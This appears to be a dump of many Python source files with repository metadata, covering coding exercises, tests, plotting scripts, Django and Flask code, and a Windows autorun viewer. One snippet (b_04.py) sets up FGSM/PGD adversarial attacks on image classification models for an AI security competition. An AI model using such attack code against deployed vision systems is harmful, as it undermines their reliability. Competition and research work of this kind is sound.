feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
401
py
""" Create a function that takes date in the format **yyyy/mm/dd** as an input and returns `"Bonfire toffee"` if the date is October 31, else return `"toffee"`. ### Examples halloween("2013/10/31") ➞ "Bonfire toffee" halloween("2012/07/31") ➞ "toffee" halloween("2011/10/12") ➞ "toffee" ### N...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
e628538fa02d09604b3f2fe873cba3fcd99a1d5c
80e527f63953a43f7f70112759f27a75d0b25179
/pytext/data/test/kd_doc_classification_data_handler_test.py
8d0108c8284547354a1c3e5775a04351fee3bc40
[ "BSD-3-Clause" ]
permissive
shruti-bh/pytext
901c195b74a03c6efe965cbfce8fde28560e47db
ae84a5493a5331ac07699d3dfa5b9de521ea85ea
refs/heads/master
2020-04-22T13:11:20.178870
2019-02-12T20:56:34
2019-02-12T21:20:25
170,400,331
1
0
NOASSERTION
2019-02-12T22:20:47
2019-02-12T22:20:47
null
UTF-8
Python
false
false
3,136
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import unittest from pytext.config.field_config import FeatureConfig from pytext.config.kd_doc_classification import ModelInputConfig, Target, TargetConfig from pytext.data import KDDocClassificationDataHandler from pytext.d...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
f83506a11c7bb222bdbd4f3d5c0f18adfbef24c5
385ab972316b41cb0643f1050f9220b8eaeb4647
/cutTheSticks.py
b33dc260c16a89e751d1f3844911ef48097f6cb2
[]
no_license
Rpratik13/HackerRank
09174c9b331e25cec33848a80e9109800cdbc894
38b9a39261bfb3b2fc208ad1e3d8a485585b419a
refs/heads/master
2020-03-22T05:24:03.516086
2020-01-31T16:08:19
2020-01-31T16:08:19
139,563,106
0
0
null
null
null
null
UTF-8
Python
false
false
332
py
def cutTheSticks(arr): ans = [] while max(arr)!=0: while min(arr)==0: arr.remove(0) min1 = min(arr) count = 0 for i in range(0,len(arr)): arr[i]-=min1 count+=1 ans.append(count) return ans n = int(input()) arr = list(map(int, input().rstrip().split())) result = cutTheSticks(arr) for i in resul...
[ "r.pratik013@gmail.com" ]
r.pratik013@gmail.com
3019e63efae8bf251345dedc6ade8214439b4276
d9504b779ca6d25a711c13fafc1b8669c60e6f62
/shape_recognition/libraries/braile_recognition/plotScript.py
4a9bd429775020ba0b1151785b48933dbe7560e2
[ "MIT" ]
permissive
ys1998/tactile-shape-recognition
dcdd3f4da66b4b3f6159dccf9cec4d367f6483d9
b5ab6f1cdf04ff23e14b467a590533e7ee740b52
refs/heads/master
2020-03-18T03:01:17.985074
2018-07-28T09:46:16
2018-07-28T09:46:16
134,218,923
0
0
null
null
null
null
UTF-8
Python
false
false
239
py
import numpy as np import matplotlib.pyplot as plt c = 0 r = 3 s = np.loadtxt('./NewData_BRC/BRC_B5.txt') taxel = [] for k in range(c,len(s),4): taxel.append(s[k,r]) print len(taxel) plt.figure() plt.plot(taxel) plt.show()
[ "yashshah2398@gmail.com" ]
yashshah2398@gmail.com
8d5a89a05b311b9d5137c404950505cd7eac5bfa
f3f7099576adfb683fb74c575b235bdd6c2900c7
/examples/demos_by_system/pendulum_double/double_pendulum_with_lqr.py
cda2f8818732a357ed072532029e056e2fe8a0f4
[ "MIT" ]
permissive
SherbyRobotics/pyro
a1fac4508162aff662c4c6073eb2adf357b1bc8b
baed84610d6090d42b814183931709fcdf61d012
refs/heads/master
2023-08-08T16:16:31.510887
2023-07-26T17:36:26
2023-07-26T17:36:26
153,139,985
35
23
MIT
2023-07-26T17:36:27
2018-10-15T15:45:09
Python
UTF-8
Python
false
false
801
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun May 24 11:51:18 2020 @author: alex """ import numpy as np from pyro.dynamic.pendulum import DoublePendulum from pyro.analysis.costfunction import QuadraticCostFunction from pyro.dynamic.statespace import linearize from pyro.control.lqr ...
[ "alx87grd@gmail.com" ]
alx87grd@gmail.com
ea960fdb336509f7286bd45c359d6f34b4776066
3d6704216b1acfe1c97048c1999657537596916c
/django_test/users/validators/password.py
458a8e4d1aacd4add82592ca255529af6447b942
[]
no_license
jupiny/django_test
e2310ee485e570e92b3f66e7f23dfa8c36a63c58
b3ef08259177229166e54ede8f7315e2522af438
refs/heads/master
2021-01-17T15:46:06.636001
2016-11-03T05:27:34
2016-11-03T05:27:34
59,828,511
0
0
null
null
null
null
UTF-8
Python
false
false
875
py
import re from django.core.exceptions import ValidationError MINIMUM_LENGTH = 8 def validate_minimum_length(value): if len(value) < MINIMUM_LENGTH: raise ValidationError("The password should be at least {0} characters long.".format(MINIMUM_LENGTH)) def validate_letters(value): # Number if not...
[ "tmdghks584@gmail.com" ]
tmdghks584@gmail.com
da46a7bd47b78c6f73bfb13edface03d1800cba5
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/z5zpTucxpMLL72FCx_5.py
707b3eb2d9448862618c21c90f1fd45b21c4bcb1
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
502
py
""" Write a function to return the city from each of these vacation spots. ### Examples grab_city("[Last Day!] Beer Festival [Munich]") ➞ "Munich" grab_city("Cheese Factory Tour [Portland]") ➞ "Portland" grab_city("[50% Off!][Group Tours Included] 5-Day Trip to Onsen [Kyoto]") ➞ "Kyoto" ### ...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
f1910980479f11c5206314612413a19bd533f2d5
30f6a276dc667ff8910dd442ddcd7d21198aef58
/Helicons in Metals/varying_freq_analysis.py
ceb8f7d9db3dd4a1de03630827bd50adf22e6a8e
[]
no_license
ericyeung/PHY424
5ddef3b8e95ad253e064736c6da653c7bc260435
200ebbed21abbeee5b3e313adfe307d3d7c2068c
refs/heads/master
2021-05-04T11:46:34.979089
2016-08-21T18:37:05
2016-08-21T18:37:27
49,386,622
0
0
null
null
null
null
UTF-8
Python
false
false
2,705
py
#!/usr/bin/env python from __future__ import division from math import * import matplotlib.pyplot as plt import numpy as np from varying_freq_data import * """ Plots the resonances Last updated: November 9 """ __author__ = "Eric Yeung" plt.plot(frequency26, pickup26) plt.errorbar(frequency26, pickup26, ferror26, per...
[ "irq.ericyeung@hotmail.com" ]
irq.ericyeung@hotmail.com
75d11f63a91f6acbedc0504480a733cffdc0e729
526b892fa981573f26d55c361b42a9d3fa841db5
/haas/manage.py
02a9c9675961e00ed03095bbba46c2c1c4dccfff
[ "BSD-2-Clause", "BSD-3-Clause" ]
permissive
uranusjr/bbshighlighter
13d89713245f95906a733b7aa8e7c39c58f6ec22
da35d483e429e0cbd0619b1bc399f4fe67de9ac3
refs/heads/master
2020-05-31T22:36:58.424739
2014-03-07T17:24:00
2014-03-07T17:24:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
283
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "haas.settings.production") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
[ "uranusjr@gmail.com" ]
uranusjr@gmail.com
b5503e5ac0863cea991c31606c9d661a6930e00b
56f1bb713f0651ac63391349deb81790df14e4b5
/Pet/pet.py
53de7eb4272d2f2fdb482b88cb1747a7b250ad3a
[ "CC0-1.0" ]
permissive
rajitbanerjee/kattis
4cd46a2fe335120b8f53ca71544fc0681474118b
3a5dd4c84c07e21f09ef45ebd9c1bad2a0adc6ad
refs/heads/master
2022-05-05T03:19:28.744660
2020-08-12T18:48:55
2020-08-12T18:48:55
192,208,120
4
2
CC0-1.0
2022-04-15T05:50:16
2019-06-16T15:38:15
Python
UTF-8
Python
false
false
227
py
"""https://open.kattis.com/problems/pet""" sums = [] for i in range(5): enter = list(map(int, input().split())) sums.append(sum(enter)) winPoints = max(sums) winner = sums.index(winPoints) + 1 print(winner, winPoints)
[ "rajit.banerjee@ucdconnect.ie" ]
rajit.banerjee@ucdconnect.ie
860e8cfb6adb792ded6055048d9bc968e99326b1
c9f67529e10eb85195126cfa9ada2e80a834d373
/bin/pycodestyle
df2ddc1147f5cce9be2a239439bea29ab02444b8
[ "Apache-2.0" ]
permissive
chilung/dllab-5-1-ngraph
10d6df73ea421bfaf998e73e514972d0cbe5be13
2af28db42d9dc2586396b6f38d02977cac0902a6
refs/heads/master
2022-12-17T19:14:46.848661
2019-01-14T12:27:07
2019-01-14T12:27:07
165,513,937
0
1
Apache-2.0
2022-12-08T04:59:31
2019-01-13T14:19:16
Python
UTF-8
Python
false
false
255
#!/home/ccma/n1p1/home/ccma/Chilung/lab5-venv/bin/python3 # -*- coding: utf-8 -*- import re import sys from pycodestyle import _main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(_main())
[ "chilung.cs06g@nctu.edu.tw" ]
chilung.cs06g@nctu.edu.tw
721cec5d08493be8d4487e275ec3dac5977eeea6
fbd4ecf7046171c4e96267c5982c964db54578f5
/start code/src/Customer.py
5e8cda2dc0acb09e187f3585b986fb294ad215a5
[]
no_license
Alvin2580du/alvin_py
6dddcfbfae214694e9f3dafd976101e681f2a66d
82d3e9808073f2145b039ccf464c526cb85274e3
refs/heads/master
2021-05-05T16:01:43.544783
2019-10-29T02:23:59
2019-10-29T02:23:59
117,328,713
12
2
null
2021-03-20T00:06:37
2018-01-13T08:51:49
Python
UTF-8
Python
false
false
1,279
py
from flask_login import UserMixin from abc import ABC, abstractmethod class User(UserMixin, ABC): __id = -1 def __init__(self, username, password): self._id = self._generate_id() self._username = username self._password = password @property def username(self): return ...
[ "ypducdtu@163.com" ]
ypducdtu@163.com
8829126941188052375e680fa9fb5c24cf8b972b
17ca5bae91148b5e155e18e6d758f77ab402046d
/Comparsion/compare_Federica_SED_data/compare_result.py
c3a371fd9726be0f5a55285fd4ac2f393152474a
[]
no_license
dartoon/QSO_decomposition
5b645c298825091c072778addfaab5d3fb0b5916
a514b9a0ad6ba45dc9c3f83abf569688b9cf3a15
refs/heads/master
2021-12-22T19:15:53.937019
2021-12-16T02:07:18
2021-12-16T02:07:18
123,425,150
0
0
null
null
null
null
UTF-8
Python
false
false
2,456
py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Thu May 9 14:00:30 2019 @author: Dartoon Comparing the fitting between Xuheng and Federica """ import numpy as np import astropy.io.fits as pyfits import matplotlib.pyplot as plt import sys sys.path.insert(0,'../../py_tools') from load_result import load_...
[ "dingxuheng@mail.bnu.edu.cn" ]
dingxuheng@mail.bnu.edu.cn
dcc3c59f832a438160969f7eff0db6008ce5f49a
632dcb4e37cadd87cb7ff8715b0048df5cd0d11b
/CompuCell3D/core/Demos/CC3DPy/scripts/AdhesionDemo.py
a0e3522ec008b21130e6d566bf455e82f0417b33
[ "MIT" ]
permissive
CompuCell3D/CompuCell3D
df638e3bdc96f84b273978fb479842d071de4a83
65a65eaa693a6d2b3aab303f9b41e71819f4eed4
refs/heads/master
2023-08-26T05:22:52.183485
2023-08-19T17:13:19
2023-08-19T17:13:19
12,253,945
51
41
null
2023-08-27T16:36:14
2013-08-20T20:53:07
C++
UTF-8
Python
false
false
3,763
py
""" This example demonstrates how to specify cell adhesion on the basis of molecular species. """ __author__ = "T.J. Sego, Ph.D." __email__ = "tjsego@iu.edu" from cc3d.core.PyCoreSpecs import Metadata, PottsCore from cc3d.core.PyCoreSpecs import CellTypePlugin, VolumePlugin, ContactPlugin from cc3d.core.PyCoreSpecs i...
[ "tjsego@gmail.com" ]
tjsego@gmail.com
783ec51dceb9fa9c98c3845feb2efa5b9fc3a98a
fb3caa66ac0b2254b422303d670a70e597067758
/201911_AI_Sec_Baidu/core-attack-codes/b_04.py
03f7281f7068cfaf99a57ec7f5d848afd55c0a40
[]
no_license
dyngq/Competitions
065ec9f153919950b161aaa9fff6a9de9e29ba32
e9b7ff8fbe038e148bc61b21b077f35cdc5368a9
refs/heads/master
2021-06-13T13:55:11.352531
2021-05-08T09:49:24
2021-05-08T09:49:24
186,392,400
0
0
null
null
null
null
UTF-8
Python
false
false
4,927
py
#coding=utf-8 from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import functools import numpy as np import paddle.fluid as fluid #加载自定义文件 import models from attack.attack_pp import FGSM, PGD from utils import init_prog, save_adv_image, proces...
[ "dyngqk@163.com" ]
dyngqk@163.com
c4554c601893281110fded6f14187ef73c6df8da
5086e9d2ae0c146f80f546e97788a2e4b1e5438f
/stumpy/aampdist_snippets.py
cbf29b4fd5eb31168e0994c1091e9d1e56555ee2
[ "BSD-3-Clause" ]
permissive
HuoHuoisAlan/stumpy
a6c9952c2dd3343710521858295145b7eca8f727
01e867cfbef6f827b5b28913fd76a4eda59c5fed
refs/heads/main
2023-04-18T17:42:47.952135
2021-05-09T23:47:01
2021-05-09T23:47:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,043
py
# STUMPY # Copyright 2019 TD Ameritrade. Released under the terms of the 3-Clause BSD license. # STUMPY is a trademark of TD Ameritrade IP Company, Inc. All rights reserved. import math import numpy as np from .core import check_window_size from .aampdist import _aampdist_vect def _get_all_aampdist_profiles( T, ...
[ "seanmylaw@gmail.com" ]
seanmylaw@gmail.com
43bb8e261178ccdbc8e0f38e34e559c1b2793e98
7bfb0fff9d833e53573c90f6ec58c215b4982d14
/1688_count_matches.py
0df81efb7ce040266c81c8a31339b3ec5db755e9
[ "MIT" ]
permissive
claytonjwong/leetcode-py
6619aa969649597a240e84bdb548718e754daa42
16bbf8ac0ba5c80fe3ef67ade0d61a12991270a7
refs/heads/master
2023-07-14T23:40:26.569825
2021-08-22T17:23:20
2021-08-22T17:23:20
279,882,918
1
0
null
null
null
null
UTF-8
Python
false
false
362
py
# # 1688. Count of Matches in Tournament # # Q: https://leetcode.com/problems/count-of-matches-in-tournament/ # A: https://leetcode.com/problems/count-of-matches-in-tournament/discuss/970250/Kt-Js-Py3-Cpp-1-Liners # class Solution: def numberOfMatches(self, N: int) -> int: return 0 if N == 1 else N // 2 + ...
[ "claytonjwong@gmail.com" ]
claytonjwong@gmail.com
8149d78a21a4530ab537abc4fe3892b1c77bac7f
a47ac7c64cb6bb1f181eadff8e4b24735c19080a
/PythonStudy/7-模块/a/Titan.py
957bf78140bb6a110f980f0763207417854d9978
[ "MIT" ]
permissive
CoderTitan/PythonDemo
6dcc88496b181df959a9d43b963fe43a6e4cb032
feb5ef8be91451b4622764027ac684972c64f2e0
refs/heads/master
2020-03-09T09:15:28.299827
2018-08-21T03:43:25
2018-08-21T03:43:25
128,708,650
1
1
null
null
null
null
UTF-8
Python
false
false
669
py
# 一个.py文件就是一个模块 ''' def sayGood(): print('good') def sayNice(): print('nice') def sayBad(): print('bad') age = 20 name = 'titan' print('这是Titan模块') ''' # 每一个模块中都有一个__name__属性, 当其值等于__main__时, 表明该模块自身在执行, 否则被引入了其他文件 # 当前文件如果为程序的入口文件, 则__name__属性的值为__main__ if __name__ == '__main__': print('...
[ "quanjunt@163.com" ]
quanjunt@163.com
fa060e2a53f5effc20a8ce419c69bbe06bf117b4
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_22416.py
84c894c7c3f546ab1aaffeb33d766e1d830f19d6
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
134
py
# Iron Python Error: expected <type 'bytes'> or bytearray, got <type 'str'> for Serial comm ser.write(bytes(message.encode('utf-8')))
[ "ubuntu@ip-172-31-7-228.us-west-2.compute.internal" ]
ubuntu@ip-172-31-7-228.us-west-2.compute.internal
8bd9e1c2de7c0fb1b38880603978273791276919
854ec5a700af132a3423be5a27a8857d2d8357a6
/project/tests/test__config.py
c7f681e4c786c681690d511179d626d9967463b3
[ "MIT" ]
permissive
mohammad-chavoshipor/flask-challenge
8f53ce80b84e88c101eec4e7e216a9e7625eec62
6902a43d6c5f435edc668bc51fc08cd785ffb965
refs/heads/master
2021-06-12T15:04:27.211542
2017-03-10T19:02:58
2017-03-10T19:02:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,736
py
# project/server/tests/integration/test_config.py import unittest from flask import current_app from flask_testing import TestCase from project.server import app class TestDevelopmentConfig(TestCase): def create_app(self): app.config.from_object('project.server.config.DevelopmentConfig') retu...
[ "hermanmu@gmail.com" ]
hermanmu@gmail.com
83bcec5f7f7b822b4d5ee74bb80925b5e1c023e9
689eff74c3687f8386cbbdf4ff1d0c6b01568ba6
/app/base/views.py
281a6fd672ab301a139d9efebe1d4050f82f5bff
[]
no_license
huyquyet/projectBRS
fc50aac595112823c44952e137f11d6a3f6765a3
5a2f994a98f97db4b1717bc6187910ce9ad889e6
refs/heads/master
2021-01-10T10:09:44.265887
2015-12-16T03:53:39
2015-12-16T03:53:39
44,585,735
0
0
null
2015-12-15T07:16:39
2015-10-20T06:08:22
HTML
UTF-8
Python
false
false
815
py
from django.db.models import Avg from django.views.generic.base import ContextMixin from app.book.models import Book from app.category.models import Category __author__ = 'FRAMGIA\nguyen.huy.quyet' class BaseView(ContextMixin): model = Book def get_context_data(self, **kwargs): ctx = super(BaseView...
[ "nguyenhuyquyet90@gmail.com" ]
nguyenhuyquyet90@gmail.com
a58b5f4e97d7f6162d8a7c522dc379644b1730e2
13130259156f6f9d16670cea88aa2608dd477d16
/goeievraag/category/categorize_question.py
a12d559ec35a110035014a626c69944b5e85b342
[]
no_license
fkunneman/DiscoSumo
d459251d543be5f4df38292a96f52baf4b520a0b
ed8f214834cf0c2e04a3bc429253502f7e79fbf8
refs/heads/master
2022-12-14T13:34:41.496963
2019-07-31T15:57:02
2019-07-31T15:57:02
140,422,779
2
1
null
2022-12-08T04:57:55
2018-07-10T11:36:00
Python
UTF-8
Python
false
false
1,203
py
from qcat import QCat import sys model_file = sys.argv[1] label_encoder_file = sys.argv[2] category2id_file = sys.argv[3] vocabulary_file = sys.argv[4] qc = QCat(model_file,label_encoder_file,category2id_file,vocabulary_file) test_questions = ["Kunnen we volgende week weer schaatsen op natuurijs", ...
[ "thiago.castro.ferreira@gmail.com" ]
thiago.castro.ferreira@gmail.com
a1b9bf680534dbbfbc310a822deb14f1bb4e2dad
51205b1a93bce66f1f47bd9eb5410e6f9b4c4da1
/py/loop.py
e301447f632f4950299dabe067ddf745977ba7b9
[ "MIT" ]
permissive
prataprc/gist
70c2534079efb97cafd7bf58f1df4bb4284d13d1
4814ee6600d9f33dd940e4b3b9a98a0764a03bb5
refs/heads/master
2021-04-12T05:38:48.153925
2020-12-07T15:06:24
2020-12-07T15:06:24
32,151,350
2
1
null
null
null
null
UTF-8
Python
false
false
657
py
#! /usr/bin/python # Some examples using the looping constructs in python a = ['cat', 'dog', 'elephant'] x = 10 print type(x) for x in a : print x, type(x), len(x) b = 'hello \n world' for x in b : print x, type(x), len(x) # Dangerous iteration on a mutable sequence (list) # for x in a : # a.insert(1,...
[ "prataprc@gmail.com" ]
prataprc@gmail.com
c4e566e7859ca5d0c9129e87c6823acbc30ec828
dd9e7df6b7dd915e749f537f490f62d38b7fa214
/maintenance/management/commands/init_foreign_uiks.py
4dc74e932e8ed0915027885c5da01ffad9782c2f
[]
no_license
mikpanko/elections_network
383039b5310d006811f3638924bed41184bc2a64
6c14c79d9ec74c30d9998533ef73819f0e2e91bd
refs/heads/master
2020-12-31T03:16:49.742384
2012-06-30T14:19:22
2012-06-30T14:19:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,174
py
import os.path from django.conf import settings from django.core.management.base import BaseCommand from scrapy.selector import HtmlXPathSelector from grakon.utils import print_progress, read_url FOREIGN_UIKS_URL = 'http://www.foreign-countries.vybory.izbirkom.ru/region/region/foreign-countries?action=show&root=100...
[ "sergkop@gmail.com" ]
sergkop@gmail.com
6d9273b5b0345cc09ca089ba02ca5e9fd109dddc
2d4380518d9c591b6b6c09ea51e28a34381fc80c
/CIM16/IEC61968/Metering/ComFunction.py
5e3b93609661efbb5adef5b2bc8c60c312ecd3ea
[ "MIT" ]
permissive
fran-jo/PyCIM
355e36ae14d1b64b01e752c5acd5395bf88cd949
de942633d966bdf2bd76d680ecb20517fc873281
refs/heads/master
2021-01-20T03:00:41.186556
2017-09-19T14:15:33
2017-09-19T14:15:33
89,480,767
0
1
null
2017-04-26T12:57:44
2017-04-26T12:57:44
null
UTF-8
Python
false
false
3,308
py
# Copyright (C) 2010-2011 Richard Lincoln # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish...
[ "fran_jo@hotmail.com" ]
fran_jo@hotmail.com
f82ef33cd4738f58765f3bcd648b1aa0d96dccc1
7f0c02b3eef636cc382484dd8015207c35cc83a8
/lib/python/treadmill/sproc/warpgate.py
95edca71b68bbd55ec900b55895d40d054d10f07
[ "Apache-2.0" ]
permissive
ceache/treadmill
4efa69482dafb990978bfdcb54b24c16ca5d1147
26a1f667fe272ff1762a558acfd66963494020ca
refs/heads/master
2021-01-12T12:44:13.474640
2019-08-20T23:22:37
2019-08-20T23:22:37
151,146,942
0
0
Apache-2.0
2018-10-01T19:31:51
2018-10-01T19:31:51
null
UTF-8
Python
false
false
1,587
py
"""Warpgate client CLI. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging import click from treadmill import cli from treadmill.warpgate import client _LOGGER = logging.getLogger(__name__) def i...
[ "ceache@users.noreply.github.com" ]
ceache@users.noreply.github.com
2b4389ecb7063df9de2c1a85552f21e19513c7d6
da99b8e2a22318f1cafb0c78adb17c8fdebe01df
/PythonBookAdditional/第12章 Windows系统编程/code/CheckAndViewAutoRunsInSystem.py
63a8ea52863a56fe57da939232caf9e2e9061c8b
[ "MIT" ]
permissive
lsjsss/PythonClass
f185873113d54ed6ae9b3ccc22cc5a71bf8f611d
0d38d2ca4d14d5e0e2062e22ae2dbbefea279179
refs/heads/master
2023-02-18T13:43:32.453478
2023-02-08T07:17:09
2023-02-08T07:17:09
247,711,629
0
0
null
2022-04-25T07:03:53
2020-03-16T13:38:15
Python
UTF-8
Python
false
false
1,579
py
#check and view autoruns in the system from win32api import * from win32con import * def GetValues(fullname): name=str.split(fullname,'\\',1) try: if name[0]=='HKEY_LOCAL_MACHINE': key=RegOpenKey(HKEY_LOCAL_MACHINE,name[1],0,KEY_READ) elif name[0]=='HKEY_CURRENT_USER': ...
[ "lsjsss@live.cn" ]
lsjsss@live.cn
6e2dd713422373ca3f97052be06e0a16981f04f9
eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7
/google/cloud/aiplatform/v1/aiplatform-v1-py/google/cloud/aiplatform/v1/schema/predict/instance_v1/types/video_classification.py
2a302fc41f2bfb1ed6a3bebcbc1e33f705293c69
[ "Apache-2.0" ]
permissive
Tryweirder/googleapis-gen
2e5daf46574c3af3d448f1177eaebe809100c346
45d8e9377379f9d1d4e166e80415a8c1737f284d
refs/heads/master
2023-04-05T06:30:04.726589
2021-04-13T23:35:20
2021-04-13T23:35:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,307
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com
8a9a097acec7f7248d2a0353f0e6c921b0e9d855
7298d1692c6948f0880e550d6100c63a64ce3ea1
/deriva-annotations/catalog1/catalog-configs/Vocab/ihm_external_reference_info_reference_type_term.py
bfd555a03816d7b8e5783424965c8f5f426649a4
[]
no_license
informatics-isi-edu/protein-database
b7684b3d08dbf22c1e7c4a4b8460248c6f0d2c6d
ce4be1bf13e6b1c22f3fccbb513824782609991f
refs/heads/master
2023-08-16T10:24:10.206574
2023-07-25T23:10:42
2023-07-25T23:10:42
174,095,941
2
0
null
2023-06-16T19:44:43
2019-03-06T07:39:14
Python
UTF-8
Python
false
false
6,342
py
import argparse from deriva.core import ErmrestCatalog, AttrDict, get_credential, DerivaPathError from deriva.utils.catalog.components.deriva_model import DerivaCatalog import deriva.core.ermrest_model as em from deriva.core.ermrest_config import tag as chaise_tags from deriva.utils.catalog.manage.update_catalog import...
[ "brinda.vallat@rcsb.org" ]
brinda.vallat@rcsb.org
97590902ea45bc7e04b8feaeccdb37e092426808
3520f9f1b6d804a6d95233493972bf04dca67fb4
/revisited_2021/math_and_string/valid_anagram.py
0d690178b7d6f34a5c35933bc51c1c498ce42777
[]
no_license
Shiv2157k/leet_code
8691a470148809f0a7077434abdc689f33958f34
65cc78b5afa0db064f9fe8f06597e3e120f7363d
refs/heads/master
2023-06-17T02:59:20.892561
2021-07-05T16:42:58
2021-07-05T16:42:58
266,856,709
1
0
null
null
null
null
UTF-8
Python
false
false
709
py
class Anagram: def is_valid(self, s: str, t: str): """ Approach: Hash Table Time Complexity: O(N) Space Complexity: O(1) :param s: :param t: :return: """ if len(s) != len(t): return False counter = [0] * 26 for ...
[ "shiv2157.k@gmail.com" ]
shiv2157.k@gmail.com
c0d577a00e14252c2e94df73db2729d4a5836254
5963c12367490ffc01c9905c028d1d5480078dec
/tests/components/home_plus_control/test_config_flow.py
4a7dbd3d3ee4e3f02c6a53aa014845151bec6ce1
[ "Apache-2.0" ]
permissive
BenWoodford/home-assistant
eb03f73165d11935e8d6a9756272014267d7d66a
2fee32fce03bc49e86cf2e7b741a15621a97cce5
refs/heads/dev
2023-03-05T06:13:30.354545
2021-07-18T09:51:53
2021-07-18T09:51:53
117,122,037
11
6
Apache-2.0
2023-02-22T06:16:51
2018-01-11T16:10:19
Python
UTF-8
Python
false
false
6,431
py
"""Test the Legrand Home+ Control config flow.""" from unittest.mock import patch from homeassistant import config_entries, data_entry_flow, setup from homeassistant.components.home_plus_control.const import ( CONF_SUBSCRIPTION_KEY, DOMAIN, OAUTH2_AUTHORIZE, OAUTH2_TOKEN, ) from homeassistant.const imp...
[ "noreply@github.com" ]
BenWoodford.noreply@github.com
64ab6dc9d426016042fc73847036810389e9d621
1f244254465ce36f116b7d1c255f9a9ae9594bb4
/typeidea/typeidea/wsgi.py
859bfc426728341b7d6955eef2c8ef45d9865831
[]
no_license
sunye088/typeidea
a45e7093b3b553fd38a5a6ba1971a7e3651cb161
2b84392e926fd72b1975947626db7362f0729a5c
refs/heads/master
2023-04-29T15:20:18.049406
2019-11-30T13:31:39
2019-11-30T13:31:39
226,258,490
0
0
null
2023-04-21T20:41:54
2019-12-06T06:10:25
Python
UTF-8
Python
false
false
532
py
""" WSGI config for typeidea project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application # os.environ.setdefault('DJANGO_SE...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
4bc76b786fe6931ca452ac6acf19df76b08600dd
2898e585a2396738e49e33d322e8c65c823e6cf8
/content/migrations/0073_comment.py
0db929fda7cd4c263f7df602e0253eea7adf4179
[]
no_license
kshutashvili/carshops
4a4f384856c7cae6d09c9ca6e8b6c703ab88be80
885c6ed85d33c1cc9333ef9d224a3000b08959dc
refs/heads/master
2022-12-12T12:50:49.618195
2018-02-22T18:04:00
2018-02-22T18:04:00
203,865,092
0
0
null
2022-11-22T02:24:12
2019-08-22T20:06:14
JavaScript
UTF-8
Python
false
false
2,007
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2018-02-21 15:32 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import mptt.fields class Migration(migrations.Migration): dependencies = [ ('content', '0072_auto_20180220_1531'), ...
[ "vetal969696@gmail.com" ]
vetal969696@gmail.com
c6f06eb98d128fd78f6d7854db6a54d8e17d525b
e4fcd551a9d83e37a2cd6d5a2b53a3cc397ccb10
/codes/eval_metrics/writing/mmocr/tests/test_datasets/test_preparers/test_parsers/test_wildreceipt_parsers.py
f4e5510db441116c73cc4881d23d270c83338ff1
[ "Apache-2.0" ]
permissive
eslambakr/HRS_benchmark
20f32458a47c6e1032285b44e70cf041a64f842c
9f153d8c71d1119e4b5c926b899bb556a6eb8a59
refs/heads/main
2023-08-08T11:57:26.094578
2023-07-22T12:24:51
2023-07-22T12:24:51
597,550,499
33
0
null
null
null
null
UTF-8
Python
false
false
1,991
py
# Copyright (c) OpenMMLab. All rights reserved. import json import os.path as osp import tempfile import unittest from mmocr.datasets.preparers.parsers.wildreceipt_parser import ( WildreceiptKIEAnnParser, WildreceiptTextDetAnnParser) from mmocr.utils import list_to_file class TestWildReceiptParsers(unittest.Test...
[ "islam.bakr.2017@gmail.com" ]
islam.bakr.2017@gmail.com
3536260316053a84bfe9507e9c17029afa97708e
3c9004d310ef124d6eb3872d7e6b02799a4dfbfb
/面向对象/多重继承.py
33e0fe0390bccf03408e5f7415b2fa8bdc15166c
[]
no_license
iguess1220/python
